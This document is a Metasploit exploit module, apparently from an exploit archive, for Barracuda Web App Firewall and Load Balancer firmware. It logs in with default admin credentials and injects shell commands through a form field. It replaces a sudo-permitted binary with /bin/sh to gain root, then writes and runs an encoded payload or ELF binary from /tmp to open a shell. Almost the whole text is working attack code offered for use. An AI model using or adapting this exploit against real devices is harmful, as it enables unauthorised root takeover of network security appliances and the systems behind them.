1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 |
# Exploit Title: Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3) # Date: 07/28/16 # Exploit Author: xort xort@blacksecurity.org # Vendor Homepage: https://www.barracuda.com/ # Software Link: https://www.barracuda.com/products/loadbalance & https://www.barracuda.com/products/webapplicationfirewall # Version: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= 8.0.1.008 (2016-03-22) # Tested on: Load Balancer Firmware <= v5.4.0.004 (2015-11-26) & Web App Firewall Firmware <= v8.0.1.008 (2016-03-22) # CVE : None. # vuln: UPDATE_va_other_options trigger exploit require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking includeExploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Barracuda Web App Firewall/Load Balancer Post Auth Remote Root Exploit (3)', 'Description'=> %q{ This module exploits a remote command execution vulnerability in the Barracuda Web App Firewall Firmware Version <= 8.0.1.008 and Load Balancer Firmware <= v5.4.0.004 by exploiting a vulnerability in the web administration interface. By sending a specially crafted request it's possible to inject system commands while escalating to root do to relaxed sudo configurations on the applianaces. }, 'Author' => [ 'xort', # vuln + metasploit module ], 'Version'=> '$Revision: 2 $', 'References' => [ [ 'none', 'none'], ], 'Platform'=> [ 'linux'], 'Privileged' => true, 'Arch'=> [ ARCH_X86 ], 'SessionTypes'=> [ 'shell' ], 'Privileged' => false, 'Payload'=> { 'Compat' => { 'ConnectionType' => 'find', } }, 'Targets'=> [ ['Barracuda Web App Firewall Firmware Version <= 8.0.1.008 (2016-03-22)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'SudoCmdExec' => "/home/product/code/firmware/current/bin/config_agent_wrapper.pl" } ], ['Barracuda Load Balancer Firmware <= v5.4.0.004 (2015-11-26)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'SudoCmdExec' => "/home/product/code/firmware/current/bin/rdpd" } ], ], 'DefaultTarget' => 0)) register_options( [ OptString.new('PASSWORD', [ false, 'Device password', "" ]), OptString.new('ET', [ false, 'Device password', "" ]), OptString.new('USERNAME', [ true, 'Device password', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(8000), ], self.class) end def do_login(username, password_clear, et) vprint_status( "Logging into machine with credentials...\n" ) # vars timeout = 1550; enc_key = Rex::Text.rand_text_hex(32) # send request res = send_request_cgi( { 'method'=> 'POST', 'uri' => "/cgi-mod/index.cgi", 'headers' => { 'Accept' => "application/json, text/javascript, */*; q=0.01", 'Content-Type' => "application/x-www-form-urlencoded", 'X-Requested-With' => "XMLHttpRequest" }, 'vars_post' => { 'enc_key' => enc_key, 'et' => et, 'user' => "admin", # username, 'password' => "admin", # password_clear, 'enctype' => "none", 'password_entry' => "", 'login_page' => "1", 'login_state' => "out", 'real_user' => "", 'locale' => "en_US", 'form' => "f", 'Submit' => "Sign in", } }, timeout) # get rid of first yank password = res.body.split('\n').grep(/(.*)password=([^&]+)&/){$2}[0] #change to match below for more exact result et = res.body.split('\n').grep(/(.*)et=([^&]+)&/){$2}[0] return password, et end def run_command(username, password, et, cmd) vprint_status( "Running Command...\n" ) # file to replace sudo_cmd_exec = target['SudoCmdExec'] #sudo_cmd_exec = "/home/product/code/firmware/current/bin/config_agent_wrapper.pl" #sudo_cmd_exec = "/home/product/code/firmware/current/bin/rdpd" sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}" sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c " # random filename to dump too + 'tmp' HAS to be here. b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4)) vprint_status(" file = " + b64dumpfile) # decoder stubs - tells 'base64' command to decode and dump data to temp file b64decode1 = "echo \"" b64decode2 = "\" | base64 -d >" + b64dumpfile # base64 - encode with base64 so we can send special chars and multiple lines cmd = Base64.strict_encode64(cmd) # Create injection string. #a) package thebase64 decoder with encoded bytes #b) attach a chmod +x request to make the script created (b64dumpfile) executable #c) execute decoded base64 dumpfile injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile # + " ; rm " + b64dumpfile exploitreq = [ [ "auth_type","Local" ], [ "et",et ], [ "locale","en_US" ], [ "password", password], [ "primary_tab", "ADVANCE" ], [ "realm","" ], [ "secondary_tab","advanced_system" ], [ "user", username ], [ "timestamp", Time.now.to_i ], [ "UPDATE_va_other_options", "1" ], [ "UPDATE_scan_information_in_use", "xx; #{injection_string}" ] # vuln ] boundary = "---------------------------" + Rex::Text.rand_text_numeric(34) post_data = "" exploitreq.each do |xreq| post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"#{xreq[0]}\"\r\n\r\n" post_data << "#{xreq[1]}\r\n" end post_data << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri'=> "/cgi-mod/index.cgi", 'ctype'=> "multipart/form-data; boundary=#{boundary}", 'data' => post_data, 'headers' => { 'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", } }) end def run_script(username, password, et, cmds) vprint_status( "running script...\n") end def exploit # timeout timeout = 1550; user = "admin" # params real_user = ""; login_state = "out" et = Time.now.to_i locale = "en_US" user = "admin" password = "admin" enctype = "MD5" password_entry = "" password_clear = "admin" if not datastore['PASSWORD'].nil? and not datastore['PASSWORD'].empty? password_clear = datastore['PASSWORD'] password = datastore['PASSWORD'] # et = datastore['ET'] end password_hash, et = do_login(user, password_clear, et) vprint_status("new password: #{password_hash} et: #{et}\n") sleep(5) #if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') run_command(user, password_hash, et, ("printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" )) handler end end end |